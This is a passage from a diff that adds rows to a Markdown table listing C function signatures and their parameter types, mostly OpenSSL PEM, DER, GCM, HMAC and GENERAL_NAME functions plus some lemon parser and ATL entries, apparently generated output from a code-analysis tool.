(FILE *,const EC_GROUP *) | | PEM_write_ECPKParameters | 1 | const EC_GROUP * | +| (FILE *,const EC_KEY *) | | PEM_write_EC_PUBKEY | 0 | FILE * | +| (FILE *,const EC_KEY *) | | PEM_write_EC_PUBKEY | 1 | const EC_KEY * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 0 | FILE * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 1 | const EC_KEY * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 3 | const unsigned char * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 4 | int | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 5 | pem_password_cb * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 6 | void * | +| (FILE *,const EVP_PKEY *) | | PEM_write_PUBKEY | 0 | FILE * | +| (FILE *,const EVP_PKEY *) | | PEM_write_PUBKEY | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_PUBKEY_ex | 0 | FILE * | +| (FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_PUBKEY_ex | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_PUBKEY_ex | 2 | OSSL_LIB_CTX * | +| (FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_PUBKEY_ex | 3 | const char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 0 | FILE * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 3 | const char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 4 | int | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 6 | void * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 0 | FILE * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 2 | const EVP_CIPHER * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 3 | const char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 4 | int | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 6 | void * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 0 | FILE * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 3 | const unsigned char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 4 | int | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 6 | void * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 0 | FILE * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 2 | const EVP_CIPHER * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 3 | const unsigned char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 4 | int | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 6 | void * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 7 | OSSL_LIB_CTX * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 8 | const char * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 0 | FILE * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 2 | int | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 3 | const char * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 4 | int | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 6 | void * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 0 | FILE * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 2 | int | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 3 | const char * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 4 | int | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 6 | void * | +| (FILE *,const NETSCAPE_CERT_SEQUENCE *) | | PEM_write_NETSCAPE_CERT_SEQUENCE | 0 | FILE * | +| (FILE *,const NETSCAPE_CERT_SEQUENCE *) | | PEM_write_NETSCAPE_CERT_SEQUENCE | 1 | const NETSCAPE_CERT_SEQUENCE * | +| (FILE *,const PKCS7 *) | | PEM_write_PKCS7 | 0 | FILE * | +| (FILE *,const PKCS7 *) | | PEM_write_PKCS7 | 1 | const PKCS7 * | +| (FILE *,const PKCS7 *) | | i2d_PKCS7_fp | 0 | FILE * | +| (FILE *,const PKCS7 *) | | i2d_PKCS7_fp | 1 | const PKCS7 * | +| (FILE *,const PKCS8_PRIV_KEY_INFO *) | | PEM_write_PKCS8_PRIV_KEY_INFO | 0 | FILE * | +| (FILE *,const PKCS8_PRIV_KEY_INFO *) | | PEM_write_PKCS8_PRIV_KEY_INFO | 1 | const PKCS8_PRIV_KEY_INFO * | +| (FILE *,const PKCS12 *) | | i2d_PKCS12_fp | 0 | FILE * | +| (FILE *,const PKCS12 *) | | i2d_PKCS12_fp | 1 | const PKCS12 * | +| (FILE *,const RSA *) | | PEM_write_RSAPublicKey | 0 | FILE * | +| (FILE *,const RSA *) | | PEM_write_RSAPublicKey | 1 | const RSA * | +| (FILE *,const RSA *) | | PEM_write_RSA_PUBKEY | 0 | FILE * | +| (FILE *,const RSA *) | | PEM_write_RSA_PUBKEY | 1 | const RSA * | +| (FILE *,const RSA *) | | i2d_RSAPrivateKey_fp | 0 | FILE * | +| (FILE *,const RSA *) | | i2d_RSAPrivateKey_fp | 1 | const RSA * | +| (FILE *,const RSA *) | | i2d_RSAPublicKey_fp | 0 | FILE * | +| (FILE *,const RSA *) | | i2d_RSAPublicKey_fp | 1 | const RSA * | +| (FILE *,const RSA *) | | i2d_RSA_PUBKEY_fp | 0 | FILE * | +| (FILE *,const RSA *) | | i2d_RSA_PUBKEY_fp | 1 | const RSA * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 0 | FILE * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 1 | const RSA * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 3 | const unsigned char * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 4 | int | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 5 | pem_password_cb * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 6 | void * | +| (FILE *,const RSA *,int) | | RSA_print_fp | 0 | FILE * | +| (FILE *,const RSA *,int) | | RSA_print_fp | 1 | const RSA * | +| (FILE *,const RSA *,int) | | RSA_print_fp | 2 | int | +| (FILE *,const SSL_SESSION *) | | PEM_write_SSL_SESSION | 0 | FILE * | +| (FILE *,const SSL_SESSION *) | | PEM_write_SSL_SESSION | 1 | const SSL_SESSION * | +| (FILE *,const X509 *) | | PEM_write_X509 | 0 | FILE * | +| (FILE *,const X509 *) | | PEM_write_X509 | 1 | const X509 * | +| (FILE *,const X509 *) | | PEM_write_X509_AUX | 0 | FILE * | +| (FILE *,const X509 *) | | PEM_write_X509_AUX | 1 | const X509 * | +| (FILE *,const X509 *) | | i2d_X509_fp | 0 | FILE * | +| (FILE *,const X509 *) | | i2d_X509_fp | 1 | const X509 * | +| (FILE *,const X509_ACERT *) | | PEM_write_X509_ACERT | 0 | FILE * | +| (FILE *,const X509_ACERT *) | | PEM_write_X509_ACERT | 1 | const X509_ACERT * | +| (FILE *,const X509_ACERT *) | | i2d_X509_ACERT_fp | 0 | FILE * | +| (FILE *,const X509_ACERT *) | | i2d_X509_ACERT_fp | 1 | const X509_ACERT * | +| (FILE *,const X509_CRL *) | | PEM_write_X509_CRL | 0 | FILE * | +| (FILE *,const X509_CRL *) | | PEM_write_X509_CRL | 1 | const X509_CRL * | +| (FILE *,const X509_CRL *) | | i2d_X509_CRL_fp | 0 | FILE * | +| (FILE *,const X509_CRL *) | | i2d_X509_CRL_fp | 1 | const X509_CRL * | +| (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 0 | FILE * | +| (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 1 | const X509_NAME * | +| (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 2 | int | +| (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 3 | unsigned long | +| (FILE *,const X509_PUBKEY *) | | PEM_write_X509_PUBKEY | 0 | FILE * | +| (FILE *,const X509_PUBKEY *) | | PEM_write_X509_PUBKEY | 1 | const X509_PUBKEY * | +| (FILE *,const X509_REQ *) | | PEM_write_X509_REQ | 0 | FILE * | +| (FILE *,const X509_REQ *) | | PEM_write_X509_REQ | 1 | const X509_REQ * | +| (FILE *,const X509_REQ *) | | PEM_write_X509_REQ_NEW | 0 | FILE * | +| (FILE *,const X509_REQ *) | | PEM_write_X509_REQ_NEW | 1 | const X509_REQ * | +| (FILE *,const X509_REQ *) | | i2d_X509_REQ_fp | 0 | FILE * | +| (FILE *,const X509_REQ *) | | i2d_X509_REQ_fp | 1 | const X509_REQ * | +| (FILE *,const X509_SIG *) | | PEM_write_PKCS8 | 0 | FILE * | +| (FILE *,const X509_SIG *) | | PEM_write_PKCS8 | 1 | const X509_SIG * | +| (FILE *,int *) | | tplt_skip_header | 0 | FILE * | +| (FILE *,int *) | | tplt_skip_header | 1 | int * | +| (FILE *,int,char *) | | tplt_linedir | 0 | FILE * | +| (FILE *,int,char *) | | tplt_linedir | 1 | int | +| (FILE *,int,char *) | | tplt_linedir | 2 | char * | +| (FILE *,lemon *,char *,int *) | | tplt_print | 0 | FILE * | +| (FILE *,lemon *,char *,int *) | | tplt_print | 1 | lemon * | +| (FILE *,lemon *,char *,int *) | | tplt_print | 2 | char * | +| (FILE *,lemon *,char *,int *) | | tplt_print | 3 | int * | +| (FILE *,lemon *,int *,int) | | print_stack_union | 0 | FILE * | +| (FILE *,lemon *,int *,int) | | print_stack_union | 1 | lemon * | +| (FILE *,lemon *,int *,int) | | print_stack_union | 2 | int * | +| (FILE *,lemon *,int *,int) | | print_stack_union | 3 | int | +| (FILE *,rule *) | | rule_print | 0 | FILE * | +| (FILE *,rule *) | | rule_print | 1 | rule * | +| (FILE *,rule *,int) | | RulePrint | 0 | FILE * | +| (FILE *,rule *,int) | | RulePrint | 1 | rule * | +| (FILE *,rule *,int) | | RulePrint | 2 | int | +| (FILE *,rule *,lemon *,int *) | | emit_code | 0 | FILE * | +| (FILE *,rule *,lemon *,int *) | | emit_code | 1 | rule * | +| (FILE *,rule *,lemon *,int *) | | emit_code | 2 | lemon * | +| (FILE *,rule *,lemon *,int *) | | emit_code | 3 | int * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 0 | FILE * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 1 | stack_st_X509_INFO * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 2 | pem_password_cb * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read | 3 | void * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 0 | FILE * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 1 | stack_st_X509_INFO * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 2 | pem_password_cb * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 3 | void * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 4 | OSSL_LIB_CTX * | +| (FILE *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_ex | 5 | const char * | +| (FILE *,symbol *,lemon *,int *) | | emit_destructor_code | 0 | FILE * | +| (FILE *,symbol *,lemon *,int *) | | emit_destructor_code | 1 | symbol * | +| (FILE *,symbol *,lemon *,int *) | | emit_destructor_code | 2 | lemon * | +| (FILE *,symbol *,lemon *,int *) | | emit_destructor_code | 3 | int * | +| (FUNCTION *,DISPLAY_COLUMNS *) | | calculate_columns | 0 | FUNCTION * | +| (FUNCTION *,DISPLAY_COLUMNS *) | | calculate_columns | 1 | DISPLAY_COLUMNS * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 2 | unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_decrypt | 3 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 2 | unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_gcm128_encrypt | 3 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 2 | unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 3 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_decrypt_ctr32 | 4 | ctr128_f | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 1 | const unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 2 | unsigned char * | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 3 | size_t | +| (GCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ctr128_f) | | CRYPTO_gcm128_encrypt_ctr32 | 4 | ctr128_f | +| (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 1 | unsigned char * | +| (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | size_t | +| (GCM128_CONTEXT *,void *,block128_f) | | CRYPTO_gcm128_init | 0 | GCM128_CONTEXT * | +| (GCM128_CONTEXT *,void *,block128_f) | | CRYPTO_gcm128_init | 1 | void * | +| (GCM128_CONTEXT *,void *,block128_f) | | CRYPTO_gcm128_init | 2 | block128_f | +| (GENERAL_NAME *) | | GENERAL_NAME_free | 0 | GENERAL_NAME * | +| (GENERAL_NAME **,const X509_NAME *) | | GENERAL_NAME_set1_X509_NAME | 0 | GENERAL_NAME ** | +| (GENERAL_NAME **,const X509_NAME *) | | GENERAL_NAME_set1_X509_NAME | 1 | const X509_NAME * | +| (GENERAL_NAME **,const unsigned char **,long) | | d2i_GENERAL_NAME | 0 | GENERAL_NAME ** | +| (GENERAL_NAME **,const unsigned char **,long) | | d2i_GENERAL_NAME | 1 | const unsigned char ** | +| (GENERAL_NAME **,const unsigned char **,long) | | d2i_GENERAL_NAME | 2 | long | +| (GENERAL_NAME *,GENERAL_NAME *) | | GENERAL_NAME_cmp | 0 | GENERAL_NAME * | +| (GENERAL_NAME *,GENERAL_NAME *) | | GENERAL_NAME_cmp | 1 | GENERAL_NAME * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 0 | GENERAL_NAME * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 1 | const X509V3_EXT_METHOD * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 2 | X509V3_CTX * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 3 | CONF_VALUE * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int) | | v2i_GENERAL_NAME_ex | 4 | int | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 0 | GENERAL_NAME * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 1 | const X509V3_EXT_METHOD * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 2 | X509V3_CTX * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 3 | int | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 4 | const char * | +| (GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int) | | a2i_GENERAL_NAME | 5 | int | +| (GENERAL_NAME *,int,void *) | | GENERAL_NAME_set0_value | 0 | GENERAL_NAME * | +| (GENERAL_NAME *,int,void *) | | GENERAL_NAME_set0_value | 1 | int | +| (GENERAL_NAME *,int,void *) | | GENERAL_NAME_set0_value | 2 | void * | +| (GENERAL_NAMES *) | | GENERAL_NAMES_free | 0 | GENERAL_NAMES * | +| (GENERAL_NAMES **,const unsigned char **,long) | | d2i_GENERAL_NAMES | 0 | GENERAL_NAMES ** | +| (GENERAL_NAMES **,const unsigned char **,long) | | d2i_GENERAL_NAMES | 1 | const unsigned char ** | +| (GENERAL_NAMES **,const unsigned char **,long) | | d2i_GENERAL_NAMES | 2 | long | +| (GENERAL_SUBTREE *) | | GENERAL_SUBTREE_free | 0 | GENERAL_SUBTREE * | +| (GOST_KX_MESSAGE *) | | GOST_KX_MESSAGE_free | 0 | GOST_KX_MESSAGE * | +| (GOST_KX_MESSAGE **,const unsigned char **,long) | | d2i_GOST_KX_MESSAGE | 0 | GOST_KX_MESSAGE ** | +| (GOST_KX_MESSAGE **,const unsigned char **,long) | | d2i_GOST_KX_MESSAGE | 1 | const unsigned char ** | +| (GOST_KX_MESSAGE **,const unsigned char **,long) | | d2i_GOST_KX_MESSAGE | 2 | long | | (HANDLE) | CAtlFile | CAtlFile | 0 | HANDLE | | (HINSTANCE,UINT) | CComBSTR | LoadString | 0 | HINSTANCE | | (HINSTANCE,UINT) | CComBSTR | LoadString | 1 | UINT | | (HKEY) | CRegKey | CRegKey | 0 | HKEY | +| (HMAC_CTX *,HMAC_CTX *) | | HMAC_CTX_copy | 0 | HMAC_CTX * | +| (HMAC_CTX *,HMAC_CTX *) | | HMAC_CTX_copy | 1 | HMAC_CTX * | +| (HMAC_CTX *,const void *,int,const EVP_MD *) | | HMAC_Init | 0 | HMAC_CTX * | +| (HMAC_CTX *,const void *,int,const EVP_MD *) | | HMAC_Init | 1 | const void * | +| (HMAC_CTX *,const void *,int,const EVP_MD *) | | HMAC_Init | 2 | int | +| (HMAC_CTX *,const void *,int,const EVP_MD *) | | HMAC_Init | 3 | const EVP_MD * | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 0 | HMAC_CTX * | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 1 | const void * | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 2 | int | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 3 | const EVP_MD * | +| (HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *) | | HMAC_Init_ex | 4 | ENGINE * | +| (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 0 | HMAC_CTX * | +| (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | unsigned long | +| (HT *) | | ossl_ht_count | 0 | HT * | +| (HT *,..(*)(..),void *) | | ossl_ht_foreach_until | 0 | HT * | +| (HT *,..(*)(..),void *) | | ossl_ht_foreach_until | 1 | ..(*)(..) | +| (HT *,..(*)(..),void *) | | ossl_ht_foreach_until | 2 | void * | +| (HT *,HT_KEY *,HT_VALUE *,HT_VALUE **) | | ossl_ht_insert | 0 | HT * | +| (HT *,HT_KEY *,HT_VALUE *,HT_VALUE **) | | ossl_ht_insert | 1 | HT_KEY * | +| (HT *,HT_KEY *,HT_VALUE *,HT_VALUE **) | | ossl_ht_insert | 2 | HT_VALUE * | +| (HT *,HT_KEY *,HT_VALUE *,HT_VALUE **) | | ossl_ht_insert | 3 | HT_VALUE ** | +| (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 0 | HT * | +| (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 1 | size_t | +| (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 2 | ..(*)(..) | +| (HT *,size_t,..(*)(..),void *) | | ossl_ht_filter | 3 | void * | +| (IPAddressChoice *) | | IPAddressChoice_free | 0 | IPAddressChoice * | +| (IPAddressChoice **,const unsigned char **,long) | | d2i_IPAddressChoice | 0 | IPAddressChoice ** | +| (IPAddressChoice **,const unsigned char **,long) | | d2i_IPAddressChoice | 1 | const unsigned char ** | +| (IPAddressChoice **,const unsigned char **,long) | | d2i_IPAddressChoice | 2 | long | +| (IPAddressFamily *) | | IPAddressFamily_free | 0 | IPAddressFamily * | +| (IPAddressFamily **,const unsigned char **,long) | | d2i_IPAddressFamily | 0 | IPAddressFamily ** | +| (IPAddressFamily **,const unsigned char **,long) | | d2i_IPAddressFamily | 1 | const unsigned char ** | +| (IPAddressFamily **,const unsigned char **,long) | | d2i_IPAddressFamily | 2 | long | +| (IPAddressOrRange *) | | IPAddressOrRange_free | 0 | IPAddressOrRange * | +| 